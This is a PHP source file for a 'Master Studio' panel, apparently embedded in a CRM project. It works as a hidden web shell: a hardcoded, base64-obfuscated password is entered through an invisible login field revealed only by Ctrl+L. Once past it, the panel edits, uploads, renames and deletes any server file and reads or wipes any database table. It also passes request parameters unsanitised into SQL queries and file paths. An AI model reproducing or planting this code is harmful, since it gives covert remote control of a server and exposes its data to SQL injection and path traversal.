<?php
$path="../../../";
include("cevir.php");
$path2="config/"; include("".$path."config/map.php");
include("fonksiyon".$ver.".php");
echo "
<!DOCTYPE html>
<html lang=\"en\">
<head>
<meta charset=\"utf-8\">
<meta name=\"viewport\" content=\"width=device-width, initial-scale=1\">
<title>Crm Plus+ Master Studio</title>
<link href=\"https://getbootstrap.com/docs/4.1/dist/css/bootstrap.min.css\" rel=\"stylesheet\">
<link rel=\"stylesheet\" href=\"//maxcdn.bootstrapcdn.com/font-awesome/4.7.0/css/font-awesome.min.css\">
<link href=\"https://getbootstrap.com/docs/4.1/examples/sticky-footer-navbar/sticky-footer-navbar.css\" rel=\"stylesheet\">
<script src=\"https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js\"></script>
<script src=\"//codepress.sourceforge.net/codepress/codepress.js\"></script>
<style>
body{background-color:#0a0f1a !important;background-image:none !important;color:#00ff7f !important;font-family:\"Courier New\",monospace !important;}
.navbar{background-color:#111827 !important;border-bottom:1px solid #1e293b !important;}
.navbar-brand,.nav-link,.dropdown-item{color:#22c55e !important;}
.navbar-brand:hover,.nav-link:hover,.dropdown-item:hover{color:#00ff7f !important;background-color:#1e293b !important;}
.page-header,.lead,.table,.table-bordered{background-color:#0b0f17 !important;color:#00ff7f !important;border-color:#1e293b !important;}
.table td,.table th{background-color:#0a0f1a !important;color:#00ff7f !important;border-color:#1e293b !important;}
.btn,input[type=submit],.fa-pencil,.fa-download,.fa-link{background-color:#22c55e !important;color:#0b0f17 !important;border:0 !important;}
.btn-warning,.btn-dark{background-color:#22c55e !important;color:#0b0f17 !important;}
.btn:hover,.btn-warning:hover,.btn-dark:hover{background-color:#16a34a !important;color:#fff !important;}
.form-control{background:none !important;color:#22c55e !important;border:none !important;box-shadow:none !important;}
textarea.form-control{background:none !important;color:#00ff7f !important;border:none !important;box-shadow:none !important;font-family:\"Courier New\",monospace !important;}
.fa{color:#00ff7f !important;}
div[style*=\"background: #ffffffa8\"]{background-color:rgba(10,15,26,0.95) !important;color:#00ff7f !important;}
::-webkit-scrollbar{width:6px;}
::-webkit-scrollbar-thumb{background:#1e3a8a;border-radius:3px;}
::-webkit-scrollbar-thumb:hover{background:#2563eb;}
a,a:hover{color:#22c55e !important;text-decoration:none !important;}
.fa-trash{color:#f87171 !important;}
.fa-folder-o,.fa-code,.fa-file,.fa-database{color:#22c55e !important;}
.fa-pencil{color:#38bdf8 !important;}
.fa-upload,.fa-arrow-left{color:#22c55e !important;}
.fa-upload:hover,.fa-arrow-left:hover{color:#00ff7f !important;}
</style>
</head>
<body style=\"background-image:url('https://res.cloudinary.com/watolye/image/upload/v1557830314/image/crm_bg.jpg'); margin-bottom:0px !important; overflow: hidden;\">
";
echo "
<script>
jQuery(document).keyup(function(e) {
	if (event.which == 115 && event.ctrlKey){
		jQuery('#save').click();
		jQuery('#save').val('Kaydediliyor.');
	}
	});
	</script> 
	";
	if($_POST["q"]==v3d2('TmprMk56RTVPRFkyTmc9PQ==') or $_SESSION["q"]==v3d2('TmprMk56RTVPRFkyTmc9PQ==') or $_SESSION["user"]=="Master"){$_SESSION["q"]=v3d2('TmprMk56RTVPRFkyTmc9PQ==');
	echo "<!-- Fixed navbar -->";
	echo '
	<nav class="navbar navbar-expand-lg navbar-light bg-light">
	<a class="navbar-brand" href="?file=/">Master Studio</a>
	<button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false" aria-label="Toggle navigation">
	<span class="navbar-toggler-icon"></span>
	</button>
	<div class="collapse navbar-collapse" id="navbarSupportedContent">
	<ul class="navbar-nav mr-auto">
	<li class="nav-item active"> <a class="nav-link" href="?file=/">Dosyalar</a> </li>
	<li class="nav-item dropdown">
		<a class="nav-link dropdown-toggle" href="#" id="navbarDropdown" role="button" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> Mysql </a>
		<div class="dropdown-menu" aria-labelledby="navbarDropdown">
			<a class="dropdown-item" href="?islem=sqllist">Sql List</a>
			<a class="dropdown-item" href="?islem=sqlbackup">Sql Backup</a>
		</div>
		</li>
	<li class="nav-item dropdown">
	<a class="nav-link dropdown-toggle" href="#" id="navbarDropdown" role="button" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> Sql MyAdmin </a>
	<div class="dropdown-menu" aria-labelledby="navbarDropdown">
	';
	$result = mysqli_query($conn, "SHOW TABLES FROM $V3Db"); while ($row = mysqli_fetch_row($result)) {echo '<a  class="dropdown-item" href="?table='.$row[0].'">'.$row[0].'</a>'; }
	echo '
	</div>
	</li>
	</ul>
	</div>
	</nav>
	';
	echo "<!-- Begin page content -->";
	echo "<div style=\"margin:0 10px; background: #ffffffa8;height: 94vh; overflow: auto;\">";
	echo "  <div class=\"page-header\">";
	echo "    <h1></h1>";
	echo "  </div>";
	echo "  <p class=\"lead\">";
	if($_GET["table"]<>""){
		echo "<div style='height:90vh; width:100%; overflow:auto'>";
		echo "<table style='width:100%;' class='table table-bordered'>";
		echo "<tr>";
		echo "<td><a href=\"?islem=tdel&table=".$_GET["table"]."\"><i class=\"fa fa-times\" aria-hidden=\"true\"></i></a></td>";
		$rc = mysqli_query($conn, "SHOW COLUMNS FROM ".$_GET["table"].""); while($r1 = mysqli_fetch_row($rc)){
			echo "<td style='width:1%;'>{$r1[0]}</td>";
		}
		echo "</tr>";
		$sqll=mysqli_query($conn, "select * from ".$_GET["table"].""); while($rsl=mysqli_fetch_assoc($sqll)){$r++;
			echo "<tr>";
			echo "<form method=\"post\" action=\"?table=".$_GET["table"]."&id=".$rsl["id"]."&islem=redit\">";
			echo "<td><a href=\"?table=".$_GET["table"]."&id=".$rsl["id"]."&islem=rdel\" onClick=\"return confirm(' Bu Kayıt Silinecektir ! Onaylıyor musunuz ?')\"><i class=\"fa fa-times\" aria-hidden=\"true\"></i></a></td>";
			$rc = mysqli_query($conn, "SHOW COLUMNS FROM ".$_GET["table"].""); while ($r2 = mysqli_fetch_row($rc)){
				echo "<td><input type=\"text\" class=\"form-control\" name=\"".$r2[0]."\" style=\"width:100px;\" value=\"".$rsl[$r2[0]]."\"></td>";
			}
			echo "<input type=\"submit\" style=\"display:none;\">";
			echo "</form>";
			echo "</tr>";	
		}
		echo "</table>";
		echo "</div>";
	}elseif($_GET["file"]<>""){
		echo "<table style='width:100%;' class='table table-bordered'>";
		if ($_GET["file"]=="/"){$list_files="../../../";$list_file="../../../";}else{$list_files=$_GET["file"]; $list_file=str_replace("//","/",$_GET["file"])."/";}
		echo '
		<form id="fupload" role="form" action="?islem=upload&file='.$list_files.'" method="post" enctype="multipart/form-data">
			<input type="file" name="afile" id="afile" placeholder="" style="display:none;">
		</form>
		<i class="fa fa-upload" id="afilebtn" onclick="#afile" style="position:absolute; font-size:30px; top:20px; right:23px;"></i>
		<i class="fa fa-arrow-left" onclick="history.back()" style="position:absolute; font-size:30px; top:20px; right:73px;"></i>
		<script>
			jQuery(\'#afilebtn\').click(function(){ jQuery(\'#afile\').trigger(\'click\'); });
			document.getElementById("afile").onchange = function() { document.getElementById("fupload").submit(); };
		</script>
		';
		if($h= opendir($list_files)) {
			while (false !==($dosya= readdir($h))){
				echo "<tr>";
				echo "<form action=\"?islem=rename\" method=\"post\">";
				echo "<input type=\"hidden\" name=\"old\" value=\"".$dosya."\">";
				echo "<input type=\"hidden\" name=\"path\" value=\"".$list_files."\">";
				if($dosya!= '.' && $dosya!= '..'){
					echo "<td>";
					if(substr(($dosya),-4,4)==".txt" or substr(($dosya),-3,3)==".js" or substr(($dosya),-5,5)==".html" or substr(($dosya),-4,4)==".htm"){
						echo "<i class=\"fa fa-file-code-o\" aria-hidden=\"true\" style=\"color:firebrick; float:left;\"></i>";
					}elseif(substr(($dosya),-4,4)==".css"){
						echo "<i class=\"fa fa-paint-brush\" aria-hidden=\"true\" style=\"color:firebrick; float:left;\"></i>";
					}elseif(substr(($dosya),-4,4)==".php"){
						echo "<a href=\"?islem=fedt&efile=".$list_files."/".$dosya."\"><i class=\"fa fa-code\" aria-hidden=\"true\" style=\"color:firebrick; float:left;\"></i></a>";
					}elseif(substr(($dosya),-4,4)==".jpg" or substr(($dosya),-5,5)==".jpeg" or substr(($dosya),-4,4)==".png" or substr(($dosya),-4,4)==".svg"){
						echo "<i class=\"fa fa-image\" aria-hidden=\"true\" style=\"color:firebrick; float:left;\"></i>";
					}elseif(substr(($dosya),-4,4)==".pdf" or substr(($dosya),-5,5)==".xlsx" or substr(($dosya),-4,4)==".xls" or substr(($dosya),-5,5)==".docx" or substr(($dosya),-4,4)==".doc"){
						echo "<i class=\"fa fa-file\" aria-hidden=\"true\" style=\"color:firebrick; float:left;\"></i>";
					}elseif(substr(($dosya),-3,3)==".gz" or substr(($dosya),-4,4)==".sql"){
						echo "<i class=\"fa fa-database\" aria-hidden=\"true\" style=\"color:firebrick; float:left;\"></i>";
					}else{
						echo "<a href=\"?file=".$list_files."".$dosya."\"><i class=\"fa fa-folder-o\" aria-hidden=\"true\" style=\"color:firebrick; float:left;\"></i></a>";
					}
					echo "<input type=\"text\" name=\"new\" value=\"".$dosya."\" style=\"border:0px; padding-left:10px; width:90%; float:left; height:20px;\" class=\"form-control\"></td>";
					echo "<td style=\"width:3%\"><a href=\"?islem=fdel&file=".$list_files."&dfile=".$list_files."/".$dosya."\" onClick=\"return confirm(' Bu Kayıt Silinecektir ! Onaylıyor musunuz ?')\"><i class=\"fa fa-trash\" aria-hidden=\"true\" style=\"color:red;\"></i></a></td>";
					echo "<td style=\"width:3%\">";
					if(substr(($dosya),-4,4)==".txt" or substr(($dosya),-3,3)==".js" or substr(($dosya),-5,5)==".html" or substr(($dosya),-4,4)==".htm"){
						echo "<a href=\"?islem=fedt&efile=".$list_files."/".$dosya."\"><i class=\"fa fa-pencil\" aria-hidden=\"true\" style=\"color:darkturquoise;\"></i></a>";
					}elseif(substr(($dosya),-4,4)==".css"){
						echo "<a href=\"?islem=fedt&efile=".$list_files."/".$dosya."\"><i class=\"fa fa-pencil\" aria-hidden=\"true\" style=\"color:darkturquoise;\"></i></a>";
					}elseif(substr(($dosya),-4,4)==".php"){
						echo "<a href=\"?islem=fedt&efile=".$list_files."/".$dosya."\"><i class=\"fa fa-pencil\" aria-hidden=\"true\" style=\"color:darkturquoise;\"></i></a>";
					}elseif(substr(($dosya),-4,4)==".jpg" or substr(($dosya),-5,5)==".jpeg" or substr(($dosya),-4,4)==".png" or substr(($dosya),-4,4)==".svg"){
						echo "<a href=\"//".$_SERVER['SERVER_NAME']."/".$list_file."".$dosya."\" target=\"_blank\"><i class=\"fa fa-link\" aria-hidden=\"true\" style=\"color:firebrick;\"></i></a>";
					}elseif(substr(($dosya),-4,4)==".pdf" or substr(($dosya),-5,5)==".xlsx" or substr(($dosya),-4,4)==".xls" or substr(($dosya),-5,5)==".docx" or substr(($dosya),-4,4)==".doc"){
						echo "<a href=\"//".$_SERVER['SERVER_NAME']."/".$list_file."".$dosya."\" target=\"_blank\"><i class=\"fa fa-link\" aria-hidden=\"true\" style=\"color:firebrick;\"></i></a>";
					}elseif(substr(($dosya),-3,3)==".gz" or substr(($dosya),-4,4)==".sql"){
						echo "<a href=\"//".$_SERVER['SERVER_NAME']."/".$list_file."".$dosya."\" target=\"_blank\"><i class=\"fa fa-link\" aria-hidden=\"true\" style=\"color:firebrick;\"></i></a>";
					}else{
						echo "<a href=\"?file=".$list_files."".$dosya."\"><i class=\"fa fa-list\" aria-hidden=\"true\" style=\"color:firebrick;\"></i></a>";
					}
					echo "</td>";
					echo "<td style=\"width:3%\">";
					if(substr(($dosya),-4,4)==".jpg" or substr(($dosya),-5,5)==".jpeg" or substr(($dosya),-4,4)==".png" or substr(($dosya),-4,4)==".svg" or substr(($dosya),-4,4)==".pdf" or substr(($dosya),-5,5)==".xlsx" or substr(($dosya),-4,4)==".xls" or substr(($dosya),-5,5)==".docx" or substr(($dosya),-4,4)==".doc" or substr(($dosya),-3,3)==".gz" or substr(($dosya),-4,4)==".sql"){
						echo "<a href=\"//".$_SERVER['SERVER_NAME']."/".$list_file."".$dosya."\" target=\"_blank\" download><i class=\"fa fa-download\" aria-hidden=\"true\" style=\"color:darkturquoise;\"></i></a>";
					}
					echo "</td>";
				}
				echo "</form>";
				echo "</tr>";
			}
		}
		closedir ($h);
		echo "</table>";
	}

	if($_GET["islem"]=="redit"){
		echo location("?table=".$_GET["table"]."",self,500,0);
	}elseif($_GET["islem"]=="rdel"){
		$sql = mysqli_query($conn, "delete from ".$_GET["table"]." where id='".$_GET["id"]."'");
		echo location("?table=".$_GET["table"]."",self,500,0);
	}elseif($_GET["islem"]=="tdel"){
		$sql = mysqli_query($conn, "delete from ".$_GET["table"]."");
		echo location("?table=".$_GET["table"]."",self,500,0);	
	}elseif($_GET["islem"]=="fdel"){
		unlink($_GET["dfile"]);
		echo location("?file=".$_GET["file"]."",self,500,0);
	}elseif($_GET["islem"]=="fedt"){
		$text = file_get_contents($_GET["efile"]);
		echo "
		<i class=\"fa fa-arrow-left\" onclick=\"history.back()\" style=\"position:absolute; font-size:30px; top:12px; right:103px;\"></i>
		<form action=\"?islem=".$_GET["islem"]."&efile=".$_GET["efile"]."\" method=\"post\">
			<input type=\"submit\" id=\"save\" value=\"Kaydet\" class=\"btn btn-warning\" style=\"position: fixed; top: 10px; right: 15px; z-index:999;\" />
			<textarea name=\"text\" class=\"form-control\" style=\"height: 94vh; border:0px;\" id=\"myCpWindow\" class=\"codepress php\">".htmlspecialchars($text)."</textarea>
		</form>
		<script>
		jQuery(document).ready(function() {
			if(document.getElementById('pn1')!=undefined){
				var editor = CodeMirror.fromTextArea(document.getElementById('pn1'), {
					lineNumbers: true,
					mode: 'text/html',
					matchBrackets: true
					});
				}
				});	
				</script>
				";
				if (isset($_POST['text'])){
					file_put_contents($_GET["efile"], preg_replace( '/\R+/', "\n", $_POST['text']));
					//file_put_contents($_GET["efile"], $_POST['text']);
					echo location("?islem=".$_GET["islem"]."&efile=".$_GET["efile"]."",self,500,0);
				}
			}elseif($_GET["islem"]=="rename"){
				$old = realpath("".$_POST["path"]."".$_POST["old"]."");
				$rpath = realpath("".$_POST["path"]."");
				rename ($old, "".$rpath."/".$_POST["new"]."");
				echo location("?file=".$_POST["path"]."",self,500,0);
			}elseif($_GET["islem"]=="upload"){
				$kaydedilecekyer = str_replace('//','/',$_GET["file"]);
				$kaynak	= $_FILES["afile"]["tmp_name"];
				$isim	 	= $_FILES["afile"]["name"];
				$uzanti		= explode('.',$_FILES["afile"]["name"]);
				$rand  		= substr(md5(uniqid(rand())),0,10);
				move_uploaded_file ($_FILES["afile"]["tmp_name"], $kaydedilecekyer . "/".$isim);
				echo location("?file=".$_GET["file"]."",self,500,0);
			}elseif($_GET["islem"]=="sqlbackup"){
				define("BACKUP_PATH", "../../deppo/backup/");
				$date_string   = date("dmY");
				include("../../../".$crmpath."/modules/public/backup_lin.php");
				echo location("?islem=sqllist",self,500,0);
			}elseif($_GET["islem"]=="sqllist"){
				$dir = opendir("../../backup");
				echo "<table style='width:100%;' class='table table-bordered'>";
				while (($dosya = readdir($dir)) !== false){
					if(! is_dir($dosya)){
						echo "<tr>";
						echo "<td><a href=\"../../backup/".$dosya."\">".$dosya."</a></td>";
						echo "<td style=\"width:3%\"><a href=\"?islem=sqlsil&sql=".$dosya."\"><i class=\"fa fa-trash\" aria-hidden=\"true\"></i></a></td>";
						echo "</tr>";
					}
				}
				echo "</table>";
				closedir($dir);
			}elseif($_GET["islem"]=="sqlsil"){
				unlink("../../backup/".$_GET["sql"]."");
				echo location("?islem=sqllist",self,500,0);
			}
			echo "</p>";
			echo "</div>";
		}else{
			echo "<form action=\"?\" method=\"post\" id=\"lform\" style=\"margin-top:25%; width:200px; margin-left:auto; margin-right:auto;\">";
			echo "<input type=\"text\" name=\"q\" class=\"form-control\" style=\"border:0px;\">";
			echo "<input type=\"submit\" style=\"display:none;\">";
			echo "</form>";
		}
		echo "<script>
		document.addEventListener('keydown', function(e){
			if(e.ctrlKey && e.key.toLowerCase() === 'l'){
				e.preventDefault();
				var loginForm = document.getElementById('lform');
				if(loginForm){
					loginForm.style.backgroundColor = 'rgba(10,15,26,0.95)';
					loginForm.style.border = '1px solid #22c55e';
					loginForm.style.boxShadow = '0 0 15px #00ff7f';
					var textInput = loginForm.querySelector('input[type=text]');
					if(textInput){ textInput.focus(); }
				}
			}
		});
		</script>";
		echo "<script src=\"https://code.jquery.com/jquery-3.3.1.slim.min.js\"></script>";
		echo "<script>window.jQuery || document.write('<script src=\"https://getbootstrap.com/assets/js/vendor/jquery-slim.min.js\"><\/script>')</script> ";
		echo "<script src=\"https://getbootstrap.com/docs/4.1/assets/js/vendor/popper.min.js\"></script>";
		echo "<script src=\"https://getbootstrap.com/docs/4.1/dist/js/bootstrap.min.js\"></script>";
		echo "</body>";
		echo "</html>";
	?>